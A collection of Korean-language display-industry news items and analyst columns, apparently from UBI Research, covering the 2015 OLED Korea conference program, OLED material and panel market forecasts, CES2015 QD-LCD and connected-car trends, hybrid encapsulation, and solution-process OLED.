올해 처음 개최되는 OLED Korea의 핵심 Key word는 “OLED의 미래”이다. 삼성디스플레이 이기용 상무는 기조 연설에서 삼성이 이제까지 주도한 OLED의 과거와 현재를 분석하고 미래를 전망할 예정이다. 또한 LG디스플레 윤원균 OLED TV 상품기획팀장의 OLED TV의 미래에 대한 발표가 준비되어 있다. OLED TV 산업을 주도하고 있는 유일한 디스플레이 업체로서의 입장과 향후 전망에 대한 자세한 소개가 있을 예정이다. Visionox, Tianma에서도 각 사가 개발중인 OLED 패널과 기술을 소개한다. 이들 4개사로부터 향후 OLED 패널 제조 기술 트랜드가 어디로 갈지를 알 수 있다. 또한 일본 Analysis Atelier Corporation의 Hattori 박사는 일본의 OLED 디스플레이와 조명 OLED 산업 방향을 자세히 소개할 예정이다.

OLED Korea를 개최하는 유비산업리서치의 이충훈 사장은 “OLED의 미래”란 타이틀로서 OLED와 함께 변화할 사회에 대해 발표할 예정이다. 삼성SDI에서 OLED 과제를 최초로 기획하고 관련 기술을 개발하여 현재의 삼성이 가진 OLED 사업을 태동 시킨 경험과 15년간의 OLED 시장 조사와 컨설팅 경험을 바탕으로 향후 OLED 산업이 어떻게 사회를 변화 시킬 것인지에 대해 발표를 할 예정이다. 이충훈 사장은 한국 디스플레이 연구 조합(현 한국 디스플레이 협회)에 OLED 분과를 만들고 OLED 표준화와 이종 업체간의 교류를 주도하였으며, LG디스플레이가 양산중인 TV용 OLED의 hybrid encapsulation 기술을 최초로 개발한 장본인이다. 이충훈 사장은 OLED 기술적인 백그라운드와 기술조사, 시장 전망에 대한 전문 지식을 바탕으로 OLED 산업 방향을 제시할 예정이다.

OLED Korea 에서는 장비와 재료 분야의 국내외 최고 전문가들의 발표도 준비되어 있다. LG디스플레이의 M2라인 Gen8 증착장비를 세계 최초로 제작한 YAS의 최명운 연구소장이 Gen8 증착 장비의 핵심 기술에 대해 세계 최초로 공개한다. 10년간 OLED발광재료 사업을 추진하고 있는 두산 김태형박사는 OLED 발광 재료 기술과 동향에 대해 발표한다. 또한 재료 분야에서는 향후 OLED 시장을 주도한 flexible OLED 제조에 필수적인 기판 재료에 대해 코오롱 중앙기술원 강충석부원장의 발표가 있다. 더불어 폭발적으로 성장하는 OLED 발광재료 사업에서 효율적으로 재료를 생산할 수 있는 기술을 순수한 독자 기술로서 개발한 한국생산기술연구원의 김태원박사의 정제 기술에 대한 기술 소개도 예정되어 있다. 방습 기술 분야 전문 기업인 일본 O-WELL사의 Higashio씨는 수분 침투를 측정할 수 있는 첨단 장비와 기술에 대한 발표가 있다.

OLED 광원 기술을 한국에서 가장 먼저 개발하고 기술을 이전하고 있는 ETRI에서는 그 동안의 경험을 바탕으로 OLED 조명 기술에 대한 발표를 할 예정이며, 삼성SDI에서 OLED 패널을 개발하고 한국의 디스플레이 국책 과제를 주도하는 이정노 박사는 OLED R&D 지원 현황과 현 정부가 OLED 산업에 얼마나 관심을 가지고 있는지 자세히 소개할 예정이다. 이정노 박사는 세계 OLED 표준화 분야 의장을 수행한 경험이 있는 세계적인 표준화 전문가이기도 하다.

서울대 이창희교수는 향후 OLED의 최대 경쟁 기술로 예상되는 QD 기술에 대해 발표할 예정이다. 이창희교수는 학계에서 OLED 분야 최고 전문가로서 LG화학에서 OLED 발광재료 사업을 태동시켰으며, white OLED 기술 분야에서는 한국 최초의 전문가이기도 하다. 이창희교수는 OLED 표준화 분야에서도 세계적인 권위자이다. 세계 표준기구인 IEC에서 OLED 분과를 설립하고 최초로 의장을 지냈으며 한국이 OLED 기술을 주도할 수 있도록 막대한 노력을 기울였다.

OLED 산업의 투자 분야에서 가장 전문가인 삼성증권의 장정훈 수석애널리스트는 OLED 산업의 경쟁력과 시장에 대한 전망을 발표할 예정이다. OLED 산업에 종사하는 다양한 기업들의 실적 조사와 분석 분야에서 한국 최고의 전문가인 장 애널리스트는 향후 OLED 관련 기업의 투자 방향을 제시할 예정이다.

OLED 발광재료 시장, 2015년 US$ 560 Million 규모로 성장

3월 13일 유비산업리서치에서 발간한 ‘’OLED Emitting Material Annual Report’’’ 에 따르면 2015년 OLED 발광재료 시장은 2014년 대비 16% 상승한 US$ 560 million의 규모가 될 것으로 전망하였다. 보고서에서는 LG Display의 E4(M2) line의 본격적인 가동과 Samsung Display의 A3 line 가동, 기존의 A1, A2 line의 가동률 증가를 재료 시장 성장의 주요 요인으로 분석했다. 또한 후발업체들의 본격적인 양산 시작과 대면적 OLED panel 시장이 확대됨에 따라 OLED 발광재료 시장은 연평균 성장률 35%로 성장하여 2020년에 약 US$ 2,500 million의 시장을 형성 할 것으로 내다봤다.

국가별로는 2015년에는 한국이 90%이상의 점유율로 OLED 발광재료 시장의 대부분을 차지하지만 2017년부터는 중국의 본격적인 양산으로 20%이상의 OLED 발광재료 시장 점유율을 차지할 것으로 나타남에 따라 발광재료 업체들의 중국시장 공략이 핵심 이슈가 될 전망이다.

MWC2015에서 Samsung Elec.가 공개한 Galaxy S6와 S6 Edge에 적용된 AMOLED panel에는 신규재료가 적용되었으며 앞으로 출시될 신규 제품의 AMOLED panel에도 적용될 것으로 예상된다. 신규 재료에는 인광 red host에 Dow Chem.이 채택 되었다.

OLED Emitting Material Market Forecast Source: UBI Research

이와 관련하여 유비산업리서치의 이충훈 대표는 4월 2일 강남 SC컨벤션센터에서 열리는 제 1회 OLED Korea Conference에서 ‘OLED의 미래’라는 주제로 OLED 발광 재료 시장과 OLED산업에 대해 심도 있게 발표할 예정이다.

AMOLED panel 시장, 2020년 US$ 46 Billion 시장 형성

2014년은 OLED 산업이 본격적으로 성장하기 위해 발판을 마련하는 한 해였다.

 

2014년 까지는 OLED TV가 시장에 진입할 수 있을 것인지에 대한 의문이 지배적이었다. 그러나 LG전자가 성공적으로 UHD OLED TV를 시장에 출하하자 OLED TV를 만들 수 없는 업체들과 LG의 경쟁 구도로 세트 업체들이 분리되었다. 이러한 분위기는 CES2015에서 삼성전자를 비롯한 대다수의 TV 세트 메이커가 Quantum dot(QD) BLU LCD TV를 전시하였다. 이전에는 자발광 OLED TV에서만 다루는 전시 컨셉인 야경 화면을 QD LCD TV가 보여주며 OLED TV처럼 고명암비 따라 가기를 시작했다.

모바일 용 디스플레이에서 OLED는 flexbile 특성을 살린 G Flex2와 Galaxy Note Edge로서 LCD가 절대로 넘볼 수 없는 독자적인 시장 구축에 성공했다.

하지만 10일 유비산업리서치에서 발간한 ‘’2015 OLED Display Annual Report’’ 에 따르면 2014년 Galaxy S5의 판매 저조로 인한 AMOLED panel 출하량 감소로 전체 매출액은 작년 대비 4% 감소한 것으로 나타났다.

 

OLED 산업에 벌써 위기가 찾아 오나?

OLED 산업은 2014년 잠시 비를 맞았지만 2015년은 확실히 땅 굳히기에 들어간다. Flexible OLED와 TV가 대안이다.

유비산업리서치의 ‘’2015 OLED Display Annual Report’’에서는 flexible OLED의 미래를 정밀히 분석하여 조망하였다. 디스플레이 업계에서는 flexible display의 마지막 단계를 Rollable display로 생각하고 제품을 개발하는 업체들이 다수 있다. 그러나 Rollable display가 모바일 기기에 사용될 경우에는 문화적 요소는 오히려 아날로그 시대로 역행하게 되며, 기술적으로는 display를 제외한 본체에 각종 부품이 집약되어 있어 발열 문제 등이 야기될 수 있다. 유비산업리서치는 Rollable 제품은 모바일 기기 보다는 Roll 형태로 운반할 수 있는 스크린 타입의 대형 디스플레이에 적용될 것으로 조망했다.

Flexible Display Generation

 

유비산업리서치의 ‘’2015 OLED Display Annual Report’는 flexbile OLED 탑재smart기기와 OLED TV에 의해 AMOLED panel 시장은 연평균 성장률 30%로 성장하여 2020년에는 US$ 46 billion의 규모가 될 것으로 전망하였다. 보고서에서는 2020년에 TV와 tablet PC용 OLED panel 매출액 점유율이 각각 30%를 차지할 것으로 전망하여, 앞으로 TV와 tablet PC가 smart phone에 이어 OLED panel 시장의 핵심 application이 될 것으로 예상하였다.

중국업체들 역시 한국 독주의 AMOLED 시장을 견제하기 위해 2016년에서 2017년에 본격적인 투자가 시작될 것으로 예상하고 있어 2017년 이후는 AMOLED 패널 시장 성장이 가속화될 것으로 전망하고 있다.

  <AMOLED panel 시장 전망>

[CES2015] LCD TV의 진화는 어디까지?

LCD TV에 또 한번 대 혁신이 생겼다. Quantum dot(QD)을 사용한 LED BLU로서 LCD TV 화질은 이제껏 누구도 상상할 수 없는 궁극의 경지까지 도달했다.

CES2015에서 삼성전자를 비롯하여 LG전자, Sony, Sharp, TCL, Haier 등 TV 세트 업체들이 QD-BLU LCD TV를 공개했다. QD-LED로 인해 색재현율은 NTSC 110%까지 모두 도달하였으며, HDR(high dynamic range) 기술로서 휘도와 명암비가 이제까지의 LCD 패널에서는 볼 수 없었던 화려한 화질을 얻을 수 되었다. 기존 LCD TV는 명암비가 분명하게 나타나는 야경을 화면에 나타내는 전시는 거의 볼 수 없었으나 CES2015에서 삼성전자는 SUHD TV(상)와 기존 LCD TV와의 명암비를 직접 비교하는 전시로서 LCD TV가 얼마나 좋아졌는지를 보여주었다.

 

또한 외관에서는 curved와 10mm이하의 박형 디자인으로 기존 LCD TV와는 확연히 차이 나는 변화를 보여주었다. Wide color LCD는 시야각마저도 거의 자발광 수준에 도달했다.

 

도대체 LCD TV는 어디까지 진화할까?

이번 CES2015에서 답이 나왔다.

OLED TV까지이다.

 

LG, 65inch OLED TV

 

OLED panel을 생산할 수 있는 업체는 전 세계에서 LG디스플레이가 유일하며, 현재 시점에서 OLED TV를 대량 생산할 수 있는 업체는 LG전자뿐이다.

OLED 패널이 가지고 있는 색재현성과 명암비, 응답속도, 시야각, 두께 등은 삼성전자가 생산하는 smart phone Galaxy series에서 이미 LCD 보다 월등히 우수함이 증명되었다. 따라서 OLED TV를 만들 수 없는 TV 업체들의 생존 수단은 OLED 패널을 대량으로 수급 할 수 있을 때까지는 어떻게 하든지 LCD TV를 최대한 OLED TV와 유사하게 만드는 것이다.

이번 CES2015에는 LCD TV가 할 수 있는 모든 기술이 총 동원되어 LG전자의 OLED TV 따라가기에 동원되었다. LCD TV는 색재현성과 시야각, 두께, 두꺼워짐에도 불구하고 휘어놓은 curved 디자인으로 OLED TV와 최대한 근접해졌다. 특히 HDR 기술로서 향상 시킨 명암비는 설명이 없으면 OLED TV로 착각할 정도로 좋아졌다. 하지만 LCD는 LCD이고 OLED는 역시 OLED이다. 흉내는 낼 수 있어도 같아 질 수는 없다.

OLED TV가 나옴에 따라 LCD TV가 다시 한번 변신하는 계기가 마련된 것은 TV 역사에서 바람직한 경쟁 사례로 길이 남을 것이다.

[CES2015] 이번 행사의 key word는 “connectivity”

행사가 이제 이틀밖에 남지 않은 CES2015의 최대 화두는 단 한 글자 “connectivity”였다. 그 동안의 CES는 세계 최대 가전 쇼답게 다양한 전자 제품들이 수천 개의 부스에서 관객의 눈을 기다리고 있었다.

가장 큰 공간을 차지하는 곳은 언제나 삼성전자와 엘지전자, 소니, 파나소닉으로 연결되는 전시장이었으며 TV를 비롯하여 오디오와 휴대폰 등 하드웨어가 주력 제품들이었다. 10년 전부터 인터넷과 쌍방향 통신이 가능한 smart TV로서 가정과 외부를 연결할 수 있는 기능들이 전시되어 왔으나, 최근에는 외부에서 휴대폰으로 집안의 전기 전자 제품을 컨트롤 할 수 있는 기능들이 소개되었다. 여기에 더해 사물 인터넷이 핵심 기술로 개발되며 이번 CES에서 급 부상한 이슈가 “connective technology”이다.

CES 2015의 가장 큰 전시 특징은 유명 자동차 업체들이 대거 참여하며, 가전 전시에 자동차 전시가 동시에 접목되어 풍성한 볼거리를 제공했다. 기계류인 자동차가 가전 전시회에 참여한 이유는 기존 자동차는 운전자가 운전 전에는 문 열기와 시동 걸기 두 가지, 운전 중에는 핸들과 기어, 페달 조작 등을 했으나, 자동차에 사물 인터넷 기술과 HUD, touch screen, sensor 등 가전 제품에 사용되는 각 종 부품과 소프트웨어 기술, 무인 운행 시스템 등 자동화 기능이 대폭 부가되어 자동차 역시 가정에서 사용되는 가전 제품화가 되어 가고 있기 때문이다. 자동차의 가전 제품화에 가장 큰 영향을 끼치고 있는 것은 자동차와 인간을 연결해 주는 기술 즉 “connective technology”이다.

이번 전시회에서 Benz가 미래형 컨셉카인 F015를 전시하며 미래 사회에서 자동차가 어떻게 사용될 수 있는지를 보여 주었고, Audi는 자동차 시스템을 touch 기술로서 조작을 할 수 있도록 했으며, 현대 자동차는 무인 운행 시스템을 포함하여 운전 중 발생할 수 있는 다양한 도로 환경 변화를 HUD(head-up-display)에 실시간으로 보여주며 sensor를 통해 자동으로 자동차가 제어되는 기술을 공개하였다. NVIDIA 역시 HUD로서 도로 상의 다양한 정보를 운전자에게 제공하는 기술을 공개하였다.

자동차는 smart phone과 smart watch와도 연계하여 자동차 키가 없이 이들 smart device로서 시동까지 걸 수 있도록 진화하고 있다. 물론 이들 smart device에는 이미 HR(heart rate)를 측정할 수 있는 기능 등이 내재되어 health care 분야도 함께 발전하고 있다.

 

이번 CES2015는 인간을 중심으로 smart phone과 wearable device, 자동차 등이 연결되는 새로운 시대가 곧 우리 생활에서 현실화될 것을 보여주고 있다.

 

왜 Hybrid Encapsulation인가?

최근 디스플레이 시장의 주요 키워드는 flexible과 대면적, 고해상도이다. AMOLED시장에서는 flexible AMOLED 패널을 적용한 Galaxy Note Edge와 Galaxy Gear S, LG G Watch R, LG G Flex 등의 제품과 대면적 패널을 적용한 UHD curved 65/77inch의 고해상도 제품이 출시되었다. Flexible AMOLED 패널에서는 foldable과 rollable이, 대면적 AMOLED 패널에서는 UHD 이상의 해상도와 500nit 이상의 고휘도가 요구되고 있다.

Flexible AMOLED 패널과 UHD 이상의 대면적 AMOLED 패널을 양산하기 위해서 해결 되어야 할 많은 문제점들이 남아있다. 특히 공정 중 encapsulation은 OLED 제조 기술 변화에 따라 변경이 필요한 기술이며 패널 수율을 결정 짓는 마지막 공정이기 때문에 매우 중요한 부분이다.

Encapsulation은 OLED 소자 외부에서 유입되는 수분과 산소를 차단하여 발광재료와 전극재료의 산화를 방지하고, 소자의 외부로부터 가해지는 기계적, 물리적 충격으로부터 소자를 보호하기 위한 필수적인 공정이다.

5일, 유비산업리서치가 발간한 “OLED Encapsulation Report”에 따르면 모든 application의 적용될 수 있는 핵심 encapsulation 기술이 hybrid encapsulation이 될 것으로 예상하였다.

Hybrid Encapsulation은 passivation 박막과 gas barrier 특성이 있는 cover plate, passivation 박막과 cover plate를 접착시키는 고분자로 구성되어 있으며, 접착성 고분자를 용액 형태로 사용하는 방식(dam & fill 방식)과 필름 형태로 가공하여 사용하는 방식(Film laminating 방식)이 있다.

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시판되고 있는 모바일용 rigid AMOLED 패널에 적용되는 frit glass 방식의 encapsulation은 encapsulation 성능은 완벽하나 대면적 패널과 flexible AMOLED 적용이 어려운 단점이 있다. 또한 현재 flexible AMOLED 일부 적용되고 있는 TFE(Thin Film Encapsulation) 기술은 다층을 형성하는 복잡한 공정과 particle 발생, 막 균일성 등의 문제로 인하여 대면적 적용이 어렵다.

반면 hybrid encapsulation은 대면적 패널과 flexible OLED 패널 모두 적용이 가능하며, TFE에 비해 공정수가 적은 장점이 있다. 또한 모바일용 rigid AMOLED 패널에 투명 gas barrier를 사용한 hybrid encapsulation을 적용한다면, 깨짐 방지와 두께 감소 등의 장점이 있기 때문에 적용이 가능할 것으로 유비산업리서치는 분석하였다.

유비산업리서치는 향후 OLED 산업의 핵심이 될 대면적 OLED와 flexible OLED패널에 hybrid encapsulation이 적용됨에 따라 hybrid encapsulation 핵심 재료 시장은 2015년에 6천만달러 시장을 형성할 것으로 예상하였으며, 2015년부터 2020년까지 74%의 연평균 성장률을 보일 것으로 전망하였다. Hybrid encapsulation에 적용되는 핵심 재료는 유기재료와 메탈포일, 투명 gas barrier가 있다.

[Analyst Column] QD-LED BLU LCD TV 띄우기 주의보

최근 언론과 리서치 기관, 증권사 등에서 앞 다퉈 QD-LCD TV 시장성에 대해 자료를 내고 있다.  QD-LCD TV는 LED backlight에 QD(quantum dot) 재료를 도포한 방식의 LCD TV이다. 엄밀하게 말하면 LCD 기술이 아니고 backlight 기술이다. QD-LCD BLU(backlight unit)는 일반적으로 3종류로 분류할 수 있다. LED chip에 직접 QD 물질을 도포하는 방식과 LED chip 앞 단에 배치하는 방식, 마지막으로 QD 물질을 barrier film에 삽입하여 필름화한 후 LCD와 도광판 사이에 두는 방식이 있다.

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Source: Wikimedia, http://commons.wikimedia.org/wiki/File:QDEF_Exploded_Diagram.png

 QD-LED BLU는 기존 LED BLU에 비해 색재현성을 약 120%까지 향상 시킬 수 있는 장점이 있어 OLED TV와 경쟁할 수 있는 LCD TV 기술로 인정 받고 있다. 이제까지 LCD TV를 제조하는 기업들이 PDP 등의 제품과 경쟁하기 위해서 항상 해상도를 주요 마케팅 수단으로 삼아 왔다. 물론 OLED에 대해서도 마찬가지였다. 그러나 Apple iPhone이 삼성전자 Galaxy S와 경쟁하며 해상도를 가장 큰 차별점으로 부각시켰으나 삼성전자는 pentile 기술로서 해상도를 극복하고 오히려 색재현성으로 역공하여 시장 점유율 1위로 등극했다. LCD TV 진영은 OLED TV가 나오자 4K와 8K TV를 연이어 전시하며 OLED가 따라오지 못할 것으로 예상했으나 LG디스플레이가 oxide TFT와 WRGB OLED 기술로서 이미 55인치에서도 4K OLED 패널을 개발하여 2015년부터 시판에 들어간다.

OLED 패널 화질이 LCD에 비해 월등하다는 것은 이미 삼성전자 Galaxy S와 LG전자 OLED TV로서확인 되었기 때문에 OLED TV를 판매 할 수 없는 기업들로서는 최선의 방어가 색재현성을 향상 시킨 QD-LED BLU LCD TV 조기 출시뿐이다.

새로운 기술이 적용되는 제품이 나오는 만큼 시장 반응도 뜨겁다. 문제는 QD-LED BLU LCD TV를 띄우는 것은 좋으나 지나친 강조는 시장과 자금을 왜곡 시킨다. 실제로 국내 증권사 보고서에서 QD-LED BLU LCD TV는 소비전력이 매우 우수한 친환경 제품인 것으로 보고하고 있다. 그러나 QD-LED BLU LD TV는 휘도가 기존 LED BLU LCD TV에 비해 약 30% 낮은 것으로 알려져 있다. 휘도가 줄면 그 만큼 LED chip을 증가 시켜야 하고 이로 인해 구동용 모듈도 증가하여 원가가 상승 한다. 또한 LED chip이 늘어난 만큼 발열이 증가하여 이에 상응하는 방열 비용이 증가하게 된다.

QD-LED BLU는 기존 LED BLU에 비해 색재현성이 좋아지나 다양한 경로로 원가가 상승하는 요인이 발생하여 프리미엄 제품에 한정될 것으로 판단된다. QD-LED BLU가 LCD TV에 보다 좋은 화질을 제공할 수 있는 것은 사실이지만 LCD TV를 넘어가는 제품이 아님은 분명히 해야 한다.

또한 각종 언론에서는 일반 소비자를 현혹시킬 수 있는 ‘QD TV’라는 명칭사용 대해 주의할 필요가 있다. OLED를 개발하는 기업들에게 있어서도 QD 기술은 매우 매력적이다. OLED 패널 제조 기술에서 blue 소자와 함께 QD 물질을 사용한 OLED 패널을 이미 개발하고 있다. 그렇게 되면 이 OLED TV도 QD TV가 되고 만다. QD에 대한 확실한 이해 없이 작성한 보도가 디스플레이 시장에 큰 파장을 일으킬 수 있음을 명심해야 할 것이다.

 

이충훈 / 수석 애널리스트 / 유비산업리서치 / ubiyi@ubiresearch.co.kr

[Analyst Column] 용액공정 OLED, 2016년부터 출시 전망

2013년 파나소닉의 용액공정(Solution process) 4K OLED TV가 등장하고 AUO가 SID2014에서 잉크젯 프린팅 방식과 증착방식을 동시에 사용하는 하이브리드(hybrid) 공정을 이용한 65인치 FHD AMOLED 패널을 공개하면서 용액공정의 RGB 구조로 AMOLED 패널 양산이 가능함을 보여주었다.

26일 유비산업리서치가 발간한 Solution Process OLED Report에 따르면 현재까지 공정장비와 재료개발 수준을 고려했을 때 2016년부터 용액공정 AMOLED 패널이 출하될 것으로 전망하였다.

용액공정은 액체상태의 재료를 프린팅을 통해 OLED를 제작하는 공정이다. 기존에 사용되고 있는 증착공정은 증착 RGB 방식의 경우 재료 사용 효율이 약 10%로 높지 않으며, 공정이 복잡하고 대면적 기판 적용에 어려움이 있다.

용액공정의 경우, 재료 사용효율이 이론적으로 100%이기 때문에 패널 제조 비용을 줄일 수 있으며, 8세대 라인에서 까지 기판을 자르지 않고 RGB 방식으로 공정이 가능하다는 장점이 있다.

하지만, 현재까지는 증착재료에 대비하여 재료 특성이 낮고, 고해상도의 패널 제작이 어렵다는 점이 해결과제로 남아있었다.

유비산업리서치 관계자는 최근 프린팅 오차가 줄어들면서 300ppi까지 프린팅이 가능해짐에 따라 RGB 방식으로 8.4인치 FHD 패널에서부터 30인치 이상의 크기에서 8K 고해상도 패널 제조가 가능한 것으로 분석되었다고 전했다. 현재 판매되고 있는 태블릿PC용 OLED 패널은 펜타일 방식으로 제작되었기 때문에 약 262ppi의 해상도를 나타낸다. 용액공정 기술이 300ppi까지 가능해짐에 따라 용액공정으로 대면적 패널뿐만 아니라 태블릿용 RGB OLED 패널 양산이 가능해지게 된다.

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<그림 : 용액공정 가능한 패널 범위>

발광재료 특성 또한 향상되었다. 현재까지 공개된 특성을 분석하였을 때 용액공정용 발광재료 중 red와 green의 효율은 증착재료와 근접한 수준까지 개발되었다. 특히 green의 경우 용액공정용 저분자 재료가 증착용 고분자재료보다 우수한 효율을 나타낸 것으로 분석되었다.

유비산업리서치 관계자는 “현재까지 용액공정용 재료와 공정장비 개발 수준을 고려해봤을 때2016년부터 용액공정으로 제작된 AMOLED 패널이 본격적으로 출하 될 것으로 전망되며, 패널 업체들의 라인상황과 투자여력, 기술상황을 고려하면 태블릿 PC용 AMOLED 패널이 우선적으로 출시될 것으로 예상된다.”고 전했다.

또한 2017년부터 용액공정용 재료가 경쟁력을 갖출 것으로 예상되어 2017년용액공정용AMOLED 패널 시장은 연평균 141%의 성장률로 3억 8천만달러의 시장을 형성할 것으로 전망하였다.

 

이충훈 / 수석 애널리스트 / 유비산업리서치 / ubiyi@ubiresearch.co.kr